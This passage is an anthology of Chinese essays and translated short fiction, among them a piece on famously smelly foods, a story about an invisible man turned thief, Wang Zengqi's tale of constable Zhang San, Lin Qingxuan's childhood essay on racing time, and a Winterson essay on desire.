　　最明显的例子就是榴莲了，强烈的爱好或特别的憎恶，并没有中间路线可走。我们闻到榴莲时喜欢得要命，但报纸上有一段港闻，说有六名意大利人，去到旺角花园街，见有群众围着，争先恐后地挤上前，东西没看到，只嗅到一阵毒气，结果六人之中，有五个被榴莲的味道熏得晕倒，此事千真万确，可以寻查。

　　和穷困有关，中国的发霉食物特别多，内地有些省份，家中人人有个臭缸，什么吃不完的东西都摆进去，发霉后，生出碧绿色的菌毛，长相恐怖，成为美食。

　　臭豆腐已是我们的国宝，黄的赤的都不吓人，有些还是漆黑的呢。上面长满像会蠕动的绿苔，发出令人忍受不了的异味，但一经油炸，又是香的了。一般人还嫌炸完味道跑掉，不如蒸的香。杭州有道菜，用的是苋菜的梗，普通苋菜很细，真想不到那种茎会长得像手指般粗，用盐水将它腌得腐烂，皮还是那么硬，但里面的纤维已化为浓浆，吸噬起来，一股臭气攻鼻。用来和臭豆腐一齐蒸，就是名菜“臭味相投”了。

　　未到北京之前，被老舍先生的著作影响，对豆汁有强烈的憧憬，找到牛街，终于在回民店里喝到。最初只觉一口馊水，后来才吃出香味，怪不得当年有一家名店，叫为“馊半街”。不知者以为豆汁就是大豆磨出来，像豆浆，坏不到哪里去。其实只是绿豆粉加了水，沉淀在缸底的淀粉出现灰色，像海绵的浆，取之发酵后做成的，当然馊。什么叫馊？餐厅里吃剩的汤羹，倒入石油铁桶中，拿去喂猪的那股味道，就是馊了。

　　南洋有种豆，很臭，干脆就叫臭豆，用马来盏来炒，尚可口。另有一种草有异味，也干脆叫臭草，可以拿来煮绿豆汤，引经据典，原来臭草，又名芸香。

　　这些臭草臭豆，都比不上“折耳根”，有次在四川成都吃过，不但臭，而且腥，怪不得又叫“鱼腥草”，但一吃上瘾，从此见到此菜，非点不可。食物就是这样的，一定要大胆尝试，吃过之后，发现又有另一个宝藏待你去发掘。

　　芝士就是这个道理，愈爱吃愈追求更臭的，牛奶芝士已经不够看，进一步去吃羊芝士，有的臭得要浸在水中才能搬运，有的要霉得生出虫来。

　　洋食物的臭，不遑多让，他们的生火腿就有一股死尸味道，与金华的香气差得远，那是腌制失败形成，但有些人却是要吃这种失败味。

　　其实他们的腌小鱼（Anchovy）和我们的咸鱼一样臭，只是自己不觉，还把它们放进沙律中搅拌，才有一点味道，不然只吃生菜，太寡了。

　　日本琵琶湖产的淡水鱼，都用发酵的味噌和酒曲来腌制，叫为“NukaTsuke”，也是臭得要死。初试的外国人都掩鼻而逃，我到现在也还没有接受那种气味，但腐烂的大豆做的“纳豆”，倒是很喜欢。

　　伊豆诸岛独特的小鱼干，用“室鲹（MuroAji）”晒成，是著名的“臭屋（Kusaya）”。闻起来腥腥的，不算什么，但一经烧烤，满室臭味，日本人觉得香，我们受不了。

　　虾酱、虾膏，都有腐烂味，用来蒸五花腩片和榨菜片，不知有多香！南洋还有一种叫“虾头膏”的，是槟城的特产。整罐黑漆漆，如牛皮胶一般浓，小食“啰惹”或“槟城叻沙”，少了它，就做不成了。

　　“你吃过那么多臭东西，有哪一样是最臭的？”常有友人问我。答案是肯定的，那是韩国人的腌魔鬼鱼，生产于祈安村地方，最为名贵，一条像沙发咕坐垫一样大的，要卖到七八千港币，而且只有母的才贵，公的便宜，所以野生的一抓到后，即刻斩去生殖器，令它变乸。

　　传说有些贵族被皇帝放逐到小岛上，不准他们吃肉，每天三餐只是白饭和泡菜，后来他们想出一个办法，抓了鱼，埋进木灰里面等它发酵，吃起来就有肉味。后来变成珍品，还拿回皇帝处去进贡呢。

　　腌好的鱼上桌，夹着五花腩和老泡菜吃，一塞入口，即刻有阵强烈的阿摩尼亚味，像一万年不洗的厕所，不过像韩国人说，吃了几次就上瘾。

　　天下最臭的，鱼还是老二，根据调查，第一应该是瑞典人做的鱼罐头，叫为 Surstromming。用鲱鱼做原料，生劏后让它发霉，然后入罐。通常罐头要经过高温杀菌，但此罐免了，在铁罐里再次发酵，产生强烈的气味，瑞典人以此夹面包或煮椰菜吃。

　　罐头上的字句警告，开罐时要严守四点：一、开罐前放进冰箱，让气体下降。二、在家中绝对不能打开，要在室外进行。三、开罐前身上得着围裙。四、确定风向，不然吹了下去，不习惯此味的人会被熏昏。

　　有一个家伙不听劝告，在厨房一打开，罐中液体四溅，味道有如十队篮球员一齐除下数月不洗的鞋子，整个家，变成名副其实的“臭屋”。

隐身人

库佛

　　隐身人放弃了他侦缉罪犯的营生——这活儿既辛苦又没人在乎，现在他要干点有趣儿的事了。做个窥淫者、窃匪、妖孽、毛贼，做个四处惹麻烦的家伙。这一来就好玩多了，他让人开始频频注意到他的存在。他开始住赛马场、女人的衣厨、奢华的宴乐场所、银行的地窖，公园、学校操场、电站诸如此类的地方。他掏空人家钱柜，改人家选票，席卷人家钱包和地址本，走漏秘密，在地铁中或会议室里引发斗殴：飞机和火车上的任何空座他想坐就坐，还往裸体女人的脖颈上吹气，在牌桌和赌桌上移动人家筹码，在黑乎乎的寝室里发出怪声，让政治家和当红歌星在台上绊跟斗出丑，在虔诚的信徒耳边悄语放肆的妖言。

　　行窃对他太容易了，只除去一个问题，他偷来了财宝派什么用场。还有为了隐身，他需得赤裸着，这一来他身上就没有什么可以藏东西的地方了——那些偷来的东西可不是隐形的。他身上的那些藏匿所（说来总不外是他的口腔和直肠），经常还被它们自己该放的东西占着，因此，除去那些能塞得进这种地方的小体积珠宝，他通常的窃物需是放得进手心、腋窝和夹得进两股之间的玩艺儿。因而，他的日常收获和一个普通的毛贼也差不多，碰到运气不好的日子，他甚至从毛贼那里偷东西。不过，他实在是动用不了多少花销的，因为他可以很方便地得到他想要的东西，可以到处不花钱旅行住宿，他很快就给自己攒下了一份家当。由于他能极容易地得到一切内部消息，因此还顺带做成了一个挺成功的炒股人。

　　虽然就那么无怨无悔地沦为罪犯，并且象通常罪犯那样，有时也有杀个把人的诱惑，但是他身上没有藏匿杀人武器的地方。何况，他要是真干，也不无危险，因此他现在的这个新营生总是限制在重罪犯的界限以下。当然，他可以不被人察觉地对别人使坏，但事实上他总是尽量躲开那些有武装的人、狂野的驾驶者、繁忙的厨房、手术室等地方。他还是会被伤着的，流弹可以射中他，刀可以刺穿他，他只不过就是可以隐形而已，并不能刀枪不入。他的身体内部并不是隐形的，他的排泄物和他的血都不隐形。想想这个情形吧，看得见一个伤口，却看不见人！况且，要是受了伤，谁来医治他呢？也许他可以去找个瞎眼的大夫来治，这样的大夫兴许不会很多罢。假如他死了，谁来为他哀悼？谁能看见他倒毙并送他入土呢？到头来他免不了会成为路上的离奇障碍，呆上那么一到两个月的。他们这种人啊，不管多有钱，不管为自己能玩的暗中把戏多么扬扬自得，可一个隐身人还是有着种种不便不快之处啊。

　　他还得躲开那些寒冷的地方，虽然他的赤身裸体对别人是无关的，他自己也习惯这样子，但他并不能完全无视这一点。冷风会把他赶到室内去，空调又把他赶到室外。有时候，他为了暖和自己，或者是要做点正事，或者是要把他偷来的东西安排一下，或者竟只是来自一种很深的渴望，他会戴上面具假发，穿上衣服，让自己可以被人看得见。为了免得老是要去窃取这些穿戴的行头，他就给自己买下了一栋房子，那样就可以存放这些东西了。他还在屋子里收集邮票和钱币，并在屋子边上种上了果树呢。他的衣服多得很，什么角色他都可以扮演，这倒加重了他存在的悲哀：他究竟算个什么呢？没有了衣饰，他连他自己都看不见自己。对着一面镜子，他看到的东西不会多过别人：一片模糊的空白，而那片空白实际上应该是立着个人物儿的。“你是个帅哥”他就这么地对自己说——听来不象是一句评论，更象是一道命令。

　　当着衣显身时，他得让自己从头到脚仔细穿戴好才行。有那么一天，他忘记了穿袜子，当他坐上地铁之后，可不得了了，他只好对惊骇地瞪着他那段不翼而飞的脚髁的人解释道：“对不起，这是得了一种癌症”，说这话时他那面具上的嘴根本是不动的（他赶紧从下一站溜下去了）。另一天在一个挤满了人的电梯上，（当他显身时，他喜欢挤在人堆里，感受到身体的互相接触，这在他隐身时是必须避免的），他的围巾掉了，这简直糟糕到了家。一位女士顿时吓晕过去了，其它的乘客则吓得缩成一团。“这只是个魔术。”他在纹丝不动的面具后面吃吃干笑着说。没说的，没了脖子，他的脸对于别人根本成了浮在空中的一片东西。他忙用他戴了手套的手出神入化地洗着一付扑克牌来迷惑周围的人，单等电梯的门一开，他转过脸来，用他面具后面空洞洞的眼睛镇住那些乘客，好让自己有足够的时间溜出去。从此之后，他化装时总在身上裹一层紧身衣作底，每次穿上和脱掉这层衣服都令他痛恨不已。

　　然而，他基本上是赤裸着——让自己隐形，这样可以从事偷窃和满足他的控制欲和窥淫欲。女人让他着迷，他喜欢看她们做女人的那些私密之事，而每次都为自己无法参与而痛心。即使当她们一丝不挂时，她们对他依然显得神秘莫测，这让他感到兴味无穷。有那么一天，在一个豪华酒店里正举行一个发型师交流会，他混进了女厕所。等厕所人少时，他走进其中一格，掀开抽水马桶的盖子，打算方便一下，这当儿他身后的门开了，马桶盖又自动合上了，他可明白了，他并不是唯一的一个隐身人啊。这是一个她（他设想中应该是“她”）把马桶圈放下坐上去了？或者这不过是女性专用马桶给非女性的一个提醒？他未敢造次，悄悄退出，希望自己并没有把小便一路滴出去，反正这个厕所间的门一开一合足以向她表明她需要知道的事儿了。

　　此后，他开始感到自己被跟踪。也许她已经跟了他一些日子，可他没有察觉罢了。现在他似乎感觉到她存在或者不在，不管她是在还是不在，他不得不考虑顾虑起自己的一举一动来，仿佛她就在场一样。她也许正干着侦缉罪犯的活儿，等着逮他，或者要为他过去犯下的罪行来复仇。他因而不止一次地中止了他想干的盗窃，活活感到她就在他呆的屋里，有时他把手伸进人口袋偷钱包时，觉得那口袋里还有另一只手在。他开始仔细打量起街上的女人来——万一她像他一样穿戴了让自己也显形呢。而她们对他而言，全都象戴着面具的家伙。他觉得自己被某个空档推挤着，有热气吹到他脖子上。现在他的收入急剧下降，他甚至连获取生活的必须品都受到妨碍。她有可能处处接近着他的想象让他留意起自己的个人卫生来，他日常的窥淫行径也多少受到限制。他独自呆在屋里时觉得自己可能更容易落网，就越来越少地呆在家里，结果他冰箱里的食品发霉了，果树枯萎了。

　　如果她看不见他怎么能知道他在哪儿呢？那么只能根据隐身人留下的蛛丝马迹来跟踪吧，比如地上的、雪上的（他可从没在雪上走过）、沙地上留下的脚印啊，身体的排泄物啊，指印啊，（他不能戴手套，他没有一次不把它们弄得一团糟）扔掉的衣服啊，牙刷啊，床垫上的凹陷啊，浮在空中的物体啊，旋转的灰尘啊，呵上气的窗玻璃啊。她还可以观察到下雨时有一块地方雨丝落不下来吧，还可以听到他身体弄出的声音吧。他走路一向会绊东绊西的，现在他寻思会不会是她把东西故意放在走道上，找他的晦气，结果他现在走起路来象在坑道中蜿行一般。他不得不更隐蔽地吃东西，不能再让食物在消失前到处漂浮了，结果因为吃得太快，让他的胃都不舒服了。可是，当他着手去偷一瓶胃苏打时，他觉得他分明看到那药瓶在他的手够着之前移动起来。

　　然而，有那么一天他突然觉得她可能不是什么罪犯侦探，很可能是另一个孤独的隐身人，正在寻找伴侣。一旦他这么想时，她就消失了，或者说似乎消失了。他应该感到松一口气才是，然而他没有。他发现自己思念着她了，虽然她并不显得那么友好，但她却是最有可能成为他朋友的一个对象了。他回到最初他们相遇的地方，把洗手间的马桶盖子掀起来又合上去，可他没得到任何反应。那天他根本就该跟她说话的。眼下他倒开口了：“你在那儿吗？”他悄声发问。没有得到回答，倒是在另一格子里的女人回问道：“你在说什么呢？”“没说什么，不过是清清嗓子”他捏着嗓子沙声答道，然后飞快地冲了马桶，把门推开，再撞上，免得那个女人从她的格子里伸头一探究竟。实际上他并没有离开那个格子，在里面还待了一会儿，呆呆地想：普通如一个厕所的马桶上，怎么才能够突然间变出个美妙绝伦的尤物来。

　　现在他在任何地方都留痕迹，作案比以前更加大胆。假如她是个罪犯侦探，他很乐意被她抓住才好。如果她不是，得，他们就可以成为同伙。这一来她可以有更多的房间来存放赃物，而他们可以连手干更大的事。他走路时，任意地甩动胳膊，希望能碰到什么肉眼看不见的东西，可惜只引起令人不快的意外和路人的火气。他在黑地里中过两次弹，他把这个视为当付的代价。兴许只要他受了伤，她会可怜他，因此而显形也说不定。甚至她隐着形他也开始能看见她了，惊人地美丽。这下他发现自己已不可救药地堕入了情网，他意识到他对她的满腔热爱是那么纯洁高贵，完全不同于他那种犯罪生涯，他甚至还想象和她疯狂而鲁莽地做爱，忘情地互相进入对方，抱在一起打滚。

　　可对于他的满腔希望，她没有给出一点点存在的痕迹。在家里，他在镜子上留了话：“我是你的了！把我带走吧。”可这留言一直就那么呆着，没有回话，没有改变。他看着镜子，眼睛抚着那句留言，他看不见自己面颊，可是能看见从上面滚落的泪珠。他的爱情生活啊——有一阵子真是犯傻——却已经成为一个悲剧，这全是他自己的错。为什么他没有去碰她？傻瓜，大傻瓜啊！他沮丧透顶，比以前更多地沉溺于酒吧，喝别人杯中的酒。有一回他把自己喝倒了，在一个唱着歌正往墙角小便的醉汉旁边呕吐起来，顿时就把那家伙的酒给吓醒了。他清楚，关于他的谣言正往四处蔓延开来，可那又怎么样？没有她，他的生活意义全无。在她出现以前，他的生活就意思不大，可现在，他的生活根本就成为一片空白。甚至作案也不能刺激他，窥淫也一样——当他为一个无形的人梦牵魂萦，有形的肉体对他会有多少意思呢？

　　他试图发现可以生活下去的动力。在很多年中，他一直从一个人家偷银餐具，一次拿上一件，打算凑齐一套。他决定把这个事做完。他其实并不需要这套银餐具，可这至少叫他有事可做。于是他接着又成功地从那家拿出了两件，就是在光天化日之下干的。当他去的次数多了，一次正好又是把一个银汤匙夹在两腿中，于是就被那家的狗在小腿上咬了一口，那狗专门买来就是要对付他这个偷餐具的贼。他倒是逃脱了，并让那狗也狠狠地吃苦头（他把那银汤匙杵进它嘴里了），可是他流了一路的血。他寻思那家人会顺着血迹找来，可他并不在乎，他豁出去了。然而他们竟没有找来，也许，他们庆幸银汤匙最终没有被偷走吧。

　　伤口愈合很慢，使得他不能带着伤口出去，也不能扎着绷带出去，那会让人看见的，因此他穿戴成一个老人（他就是一个老人了！）到廉价的咖啡馆去消磨时光。他深深为自己难过，悲悼他失去的爱情。即使在他的咬伤好了之后，他还继续去那家咖啡馆，并被那家咖啡馆里播放的哀伤歌曲所吸引。他不再偷了，他需要日用品时就去买，反正也用不了许多，但现在他的日用品中增加了阅读物，他泡咖啡馆时用得着。他不看报刊和杂志，却喜欢过时的旧小说，那种小说多数是女人写的，他把她们都想象成美丽而隐身的。他有时会对着一页小说坐上整整一天，随自己思绪飘荡，轻柔地喃呢着所有那些她曾经出现在他生活中时他该对她说的话，或多或少这些话也是说给他自己听吧。

　　结果有那么一天，他看见在另一张桌上坐着个老警官，也挺大年纪了，那警官他认识，过去他做侦探时就为他工作。他上去向警官打招呼，（警官看见他毫不吃惊，也许他正跟踪他吧。）他问警官警察局的事都还顺利吧，警官对他说，“隐身人，打你走后，事情变得越来越糟了，自从你干上了你的新行当，你对我们就成了一个麻烦。但那是你的决定，我们可以理解并容忍。可现在出现了一个隐身人帮派，干下许多恶事，威胁到我们文明社会的许多方面。”隐身人沉思地摸着自己的假胡子问，“自从我不干侦探了，你们有没有找到类似我的人干呢？”“直到这个新帮派出现，你一直是独一无二的，隐身人哪。”那么，隐身人想，她可能是置身于这个帮派中了。“这就是我们为什么现在要找你。想让你回来，隐身人，我们需要你打入那帮家伙中，帮助我们制止他们，不然就太晚了。”“你要我和自己人作对吗？”隐身人说，说时多少有些装模做样，实际上他可从没想到过他会有什么自己人。“他们可不是你的自己人，隐身人，这是个新团伙，他们会让一整块地方都隐形，因此他们的衣服、武器和所有那些偷来的东西只要进入这区域，就全都看不见了。而现在他们已经在做炸弹了。”这倒严重了，的确是严重了，但是他却想到了他的爱，他先头所爱的那一个对象。他现在可明白了，她也许想拉他入伙的，可是觉得他不配就罢了，这让他感到受了伤害。“他们把你看成老派人了，隐身人，还说了些对你不恭敬的话，特别是说到你的一些个人习惯，对此我当然是不知情的。可他们同时也把你作为前辈尊敬着。虽然他们的力量超过你，他们技术上却不见得过关。他们那个灾难性的系统已经在毁坏，我们想叫他们毁坏得更快才好。这事做起来挺危险，可隐身人，你是我们目前所知的唯一能干这事的人了。”

　　结果他再次干上了他的侦探行当，不过他得用新罪行来掩盖这身份。他在那个隐身的皮囊里嘻笑怒骂地在城里穿街过巷，专去城里头面人物的家行窃，还四处破坏公物，写一些威胁扬言的字条，以期引起人的注意。他甚至在那位警官的怂恿下，把警官的私车炸毁了，警官说，反正这车的离合器和转换器已经需要修理替换，管它呢，旧的不去，新的不来——总之，他叫自己处处嚣张醒目，等着那伙帮派来找他接头。她属于那个帮派吗？他感到受了她的误解，受了她的轻视，居然不可思议到不肯来请他。他活脱成了个爱情的牺牲品，尽管已经不相信爱情，但他还处在爱情不可见的掌控之中。假如他能够再次发现她，他肯去摧毁她的系统吗？或者她会成功地勾引他加入那个帮派的作恶吗？谁知道呢？他决定对此保持高度警觉，而他的前景却如同他这个人一样是隐而不显的。

捕快张三

汪曾祺

　　捕快张三，结婚半年。他好一杯酒，于色上寻常。他经常出外办差，三天五日不回家。媳妇正年轻，空房难守，就和一个油头光棍勾搭上了。明来暗去，非止一日。街坊邻里，颇有察觉。水井边、大树下，时常有老太太、小媳妇咬耳朵，挤眼睛，点头，戳手，悄悄议论，嚼老婆舌头。闲言碎语，张三也听到了一句半句，心里存着，不露声色。一回，他出外办差，提前回来了一天。天还没有亮，便往家走。没拐进胡同，远远看见一个人影，从自己家门出来。张三紧赶两步，没赶上。张三拍门进屋，媳妇梳头未毕、挽了纂，正在掠鬓，脸上淡淡的。

　　“回来了？”

　　“回来了！”

　　“提早了一天。”

　　“差事完了。”

　　“吃什么？”

　　“先不吃。我问你，我不在家，你都干什么了？”

　　“开门，擞火，喂鸡，择菜，坐锅，煮饭，做针线活，和街坊闲磕牙，说会子话，关门，放狗，挡鸡窝……”

　　“家里没人来过？”

　　“隔壁李二嫂来看过鞋样子，对门张二婶借过笸箩……”

　　“没问你这个！我回来的时候，在胡同口仿佛瞧见一个人打咱们家出去，那是谁？”

　　“你见了鬼了！吃什么？”

　　“给我下一碗热汤面，煮两个咸鸡子，烫四两酒。”

　　媳妇下厨房整治早饭，张三在屋里到处搜寻，看看有什么破绽。翻开被窝，没有什么。一掀枕头，滚出了一枚韭菜叶赤金戒指。张三攥在手里。

　　媳妇用托盘托了早饭进来。张三说：“放下。给你看一样东西。”

　　张三一张手，媳妇浑身就凉了：这个粗心大意的东西！没有什么说的了，“扑通”一声，跪倒在地：“我错了。你打吧。”

　　“打？你给我去死！”

　　张三从房梁上抽下一根麻绳，交在媳妇手里。

　　“要我死？”

　　“去死！”

　　“那我死得漂漂亮亮的。”

　　“行！”

　　“我得打扮打扮，插花戴朵，擦粉抹胭脂，穿上我娘家带来的绣花裙子袄。”

　　“行！”

　　“等会子。”

　　“行！”

　　媳妇到里屋去打扮，张三在外屋剥开咸鸡子，慢慢喝着酒。四两酒下去了小三两，鸡子吃了一个半，还不见媳妇出来。心想：“真麻烦。”又一想：“也别说，最后一回了，是得好好捯饬捯饬。”他忽然成了一个哲学家，举着酒杯，自言自语：“你说这人活一辈子，是为了什么呢？”

　　一会儿，媳妇出来了：嗬！眼如秋水，面若桃花，点翠插头，半珠押鬓，银红裙袄粉缎花鞋。到了外屋，眼泪汪汪，向张三拜了三拜。

　　“你真的要我死呀？”

　　“别废话，去死！”

　　“那我就去死啦！”

　　媳妇进了里屋，听得见她搬了一张杌凳，站上去，拴了绳扣，就要挂上了。张三把最后一杯酒一饮而尽，“叭”一声，摔碎了酒杯，大声叫道：

　　“回来！一顶绿帽子，未必就当真把人压死了！”

　　这天晚上，张三和他媳妇，琴瑟和鸣。夫妻两个，恩恩爱爱，过了一辈子。

和时间赛跑

林清玄

　　读小学的时候，我的外祖母去世了。外祖母生前最疼爱我。我无法排除自己的忧伤，每天在学校的操场上一圈一圈地跑着，跑得累倒在地上，扑在草坪上痛哭。

　　那哀痛的日子持续了很久，爸爸妈妈也不知道如何安慰我。他们知道与其欺骗我说外祖母睡着了，还不如对我说实话：外祖母永远不会回来了。

　　“什么是永远不会回来了呢？”我问。

　　“所有时间里的事物，都永远不会回来了。你的昨天过去了，它就永远变成昨天，你再也不能回到昨天了。爸爸以前和你一样小，现在再也不能回到你这么小的童年了。有一天你会长大，你也会像外祖母一样老，有一天你度过了你的所有时间，也会像外祖母永远不能回来了。”爸爸说。

　　爸爸等于给我一个谜语，这谜语比课本上的“日历挂在墙壁，一天撕去一页，使我心里着急”和“一寸光阴一寸金，寸金难买寸光阴”还让我感到可怕；也比作文本上的“光阴似箭，日月如梭”更让我觉得有一种说不出的滋味。

　　以后，我每天放学回家，在庭院时看着太阳一寸一寸地沉进了山头，就知道一天真的过完了。虽然明天还会有新的太阳，但永远不会有今天的太阳了。

　　我看到鸟儿飞到天空，它们飞得多快呀。明天它们再飞过同样的路线，也永远不是今天了。或许明天再飞过这条路线，不是老鸟，而是小鸟了。

　　时间过的飞快，使我的小心眼里不只是着急，还有悲伤。有一天我放学回家，看到太阳快落山了，就下决心说：“我要比太阳更快回家。”我狂奔回去，站在庭院里喘气的时候，看到太阳还露着半边脸，我高兴地跳起来。那一天我跑赢了太阳。以后我常做这样的游戏，有时和太阳赛跑，有时和西北风比赛，有时一个暑假的作业，我十天就做完了。那时我三年级，常把哥哥五年级的作业拿来做。每一次比赛胜过时间，我就快乐得不知道怎么形容。

　　后来的二十年里，我因此受益无穷。虽然我知道人永远跑不过时间，但是可以比原来跑快一步，如果加把劲，有时可以快好几步。那几步虽然很小很小，用途却很大很大。

　　如果将来我有什么要教给我的孩子，我会告诉他：假若你一直和时间赛跑，你就可以成功。

北京人的遛鸟

汪曾祺

　　遛鸟的人是北京人里头起得最早的一拨。每天一清早，当公共汽车和电车首班车出动时，北京的许多园林以及郊外的一些地方空旷、林木繁茂的去处就已经有很多人在遛鸟了。他们手里提着鸟笼，笼外罩着布罩，慢慢地散步，随时轻轻地把鸟笼前后摇晃着，这就是“遛鸟”。他们有的是步行来的，更多的是骑自行车来的。他们带来的鸟有的是两笼，多的可至八笼。如果带七八笼，就非骑车来不可了。车把上、后座，前后左右都是鸟笼，都安排得十分妥当。看到它们平稳地驶过通向密林的小路，是很有趣的——骑在车上的主人自然是十分潇洒自得、神清气朗。

　　养鸟本是清朝八旗子弟和太监们的爱好，“提笼架鸟”在过去是形容游手好闲、不事生产的人的一种贬词。后来，这种爱好才传到一些辛苦忙碌的人中间，使他们能得到一些休息和安慰。我们常常可以在一个修鞋的、卖老豆腐的、钉马掌的摊前的小树上看到一笼鸟，这是他的伙伴。不过养鸟的还是以上岁数的较多，大都是从五十岁到八十岁的人，大部分是退休的职工，在职的稍少。近年在青年工人中也渐有养鸟的了。

　　北京人养的鸟的种类很多。大别起来，可以分为大鸟和小鸟两类。大鸟主要是画眉和百灵，小鸟主要是红子、黄鸟。

　　鸟为什么要“遛”？不遛不叫。鸟必须习惯于笼养，习惯于喧闹扰攘的环境。等到它习惯于与人相处时，它就会尽情鸣叫。这样的一段驯化，术语叫作“压”。一只生鸟，至少得“压”一年。

　　让鸟学叫，最直接的办法是听别的鸟叫，因此养鸟的人经常聚会在一起，把他们的鸟揭开罩，挂在相去不远的树上，此起彼歇地赛着叫，这叫作“会鸟儿”。养鸟人不但彼此很熟悉，而且对他们朋友的鸟的叫声也很熟悉。鸟应该向哪只鸟学叫，这得由鸟主人来决定。一只画眉或百灵，能叫出几种“玩意儿”，除了自己的叫声，能学山喜鹊、大喜鹊、伏天、苇咋子叫，麻雀打架，公鸡打架，猫叫、狗叫。

　　曾见一个养画眉的用一台录音机追逐一只布谷鸟，企图把它的叫声录下，好让他的画眉学。他追逐了五个早晨（北京布谷鸟是很少的），到底成功了。

　　鸟叫的音色是各色各样的，有的洪亮，有的窄高。有的鸟聪明，一学就会；有的笨，一辈子只能老实巴交地叫那么几声。有的鸟害羞，不肯轻易叫；有的鸟好胜，能不歇气地叫一个多小时！

　　养鸟主要是听叫，但也重相貌。大鸟主要要大，但也要大得匀称。画眉讲究“眉子”（眼外的白圈）清楚。百灵要大头，短喙。养鸟人对于鸟自有一套非常精细的美学标准，而这种标准是他们共同承认的。

　　因此，鸟的身份悬殊极大。一只生鸟（画眉或百灵）值两三元，甚至还要少，而一只长相俊秀能唱十几种“曲调”的值一百五十元，相当于一个熟练工人一个月的工资。

　　养鸟是很辛苦的。除了遛，预备鸟食也很费事。鸟一般要吃拌了鸡蛋黄的棒子面或小米面，还有牛肉——把牛肉焙干，碾成细末。经常还要吃“活食”——蚱蜢、蟋蟀、玉米虫。

　　养鸟人所重视的，除了鸟本身，便是鸟笼。鸟笼分圆笼、方笼两种。一般的鸟笼值一二十元，有的雕镂精细，近于“鬼工”，贵得令人咂舌——有人不养鸟，专以搜集名贵鸟笼为乐。鸟笼里大有高低贵贱之分的是鸟食罐。一副雍正青花的鸟食罐，已成稀世的珍宝。

　　除了笼养听叫的鸟，北京人还有一种养在“架”上的鸟。所谓架，是一截树杈。养这类鸟的乐趣是训练它“打弹”，养鸟人把一个弹丸扔在空中，鸟会飞上去接住。有的一次飞起能接连接住两个。架养的鸟一般体大嘴硬，例如锡嘴和交喙鹊。所以，北京过去有“提笼架鸟”之说。

欲望

温妮特 · 温特森

　　为什么要用失去来衡量爱情？

　　在那两个词之间——爱情、失去，位在它们每一边的，是所有这些首先是如何发生的：另一个词：欲望。

　　我无法拥有你的时候，我渴望你。我是那种会为了与你相见喝杯咖啡而错过一班列车或飞机的人。我会打车穿越全城来见你十分钟。我会彻夜在外等待，假如我觉得你会在早晨打开门。如果你打电话给我说“你是不是愿意……”我的回答是“是的”，在你的句子说完之前。我编织着我们可以在一起的世界。我梦想你。对我而言，想象和欲望非常接近。

　　欲望常常是一种创造。我的意思是，我们两个被这种强大的感情重塑了。好吧，有时是我们两个，有时或许只是我，而这时我是你的跟踪者，你的精神病患，我是那个幻想失控的人。

　　渴求某个对你没有欲望的人可以帮助你理解这种极其强烈的感情的本质；它更多地与我有关，而不是与你有关。你是我欲望的客体。我是主体。我是那个我。

　　当我们是彼此欲望的客体时，很容易明白在这愉悦的状态下没有任何负面的东西。我们成了浪漫的象征，我们实现了所有太过浪漫的幻想。这是它本来应该的样子。你走进一间房间……我们的眼神相遇……从这第一刻起……等等。

　　完全可以这样说：对于另一个人的无法抗拒的欲望包含着相当多的投射。我不相信一见钟情，理由稍后会变得清晰；但我的确相信“一见钟欲”。有时它就像性欲一样简单，或许男人在这点上更直白，但通常欲望是复杂的；是一系列的渴望和需要、希望和梦想，是整个宇宙无人居住的繁星在寻找生命。

　　而没有什么比欲望感觉更像生活的了。人人都知道这点；血脉喷张，没吃白粉却像瞌药般兴奋。欲望是如有魔力、恍惚似的狂喜。当人们经常说着“我愿意再次堕入爱河——那最初的一个月，半年，一年”时，他们根本不在谈论爱情——他们的意思是欲望。

　　但谁又能怪我们呢？渴求你令我感觉强烈，使我的身体如狐狸般敏锐。对你的欲望令我活在平常的时间之外，召唤我进入一场我想我从未有过的、与灵魂的对话，诱使我比以往表现得更好，像某个其他人，某个好人。

　　对你的欲望充满了我的心，就这样成了一种清除空间的练习。在这个混乱而拥挤、膨胀而喧嚣的世界上，你成了我的冥想点。我想着你，很少去想其它，于是我意识到了我所做的大部分事情有多么荒诞和徒劳。日常生活碎片般的状态最终变得连贯起来。不再飘散在时间和空间里，我被集于一处，而那个地方便是你。

　　简单。完美。

　　直到出了错。

　　真相是：除非将欲望转化至爱情，不然欲望会令我们失望；它会做不到它曾一度做到的事；那些欢乐，那些战栗。我们的阵阵欢愉消失了。我们不再行走于空气中。我们发现自己回到了通勤列车上，靠自己的双脚站立。语言泄露了这点；我们说回到地面。

　　对于很多人而言，这令人大为失望。当欲望消失，爱情亦是，恋爱关系亦是。但我仍怀疑爱会如此轻易地改变。不愿离别，爱着便能渐渐理解：所爱之人并非超人或世界小姐。

　　我们生活在一种升级文化之中。我觉得这侵染了恋爱关系。当新模式更光鲜、更有趣的时候，为什么要守着去年的模式呢？人，如同物，在我们的社会中被丢弃；我们不再介意工作稳定性，我们不提供恋爱关系中的安全感。我们发表着要与时俱进的陈词，就好像我们要做一些新时代的聪明事，而这时我们真正想要的，无非是要解决掉这个女友/男友/丈夫/妻子。

　　我不想回到五十年代，那时候夫妻们不管怎样都在一起，但谁又能说那样的恋爱关系就容易？

　　广告总是允诺新型号用起来更方便。当然，当你“升级”到下一段恋爱关系时，它也更容易些——在一段时间里如此。

　　如果你漂亮或可爱，英俊或富有，一连串的恋爱关系会只有欲望而没有承诺。当性欲渐息，当最初的幻想消逝，我们开始在现实生活中看见，这另一个人并非我们的女神或救主。我们变得吹毛求疵。我们有了怀疑。我们也开始看见自己，由于我们中的大多数人在整个生命中一直避免面对自己，这突然的看见便令人不悦，于是我们怪责这另一个人，以便自己可以落荒而逃。

　　换一个伴侣要比面对你自己简单得多，但关于爱情的许多奇事之一便是，它的确要求我们面对自己，这时它会给予我们坚强的性格，使那艰难的任务成为可能。如果欲望是种魔药，有立竿见影之效，（参见《特里斯坦和伊索尔德》），那么爱情便是个奇迹，其效果只有在时间里才逐渐彰显。爱情是恒久的。而欲望在此刻。

　　一种升级文化，一种此刻文化和一种名人文化，在这里，富有而有名望的人们无止境的伴侣交换司空见惯，并不看重恒久。我们是新唐璜，我们的诱惑需要更快速更频繁，而我们把这些心灵之罪掩藏于欲望性感的头条标题之下。

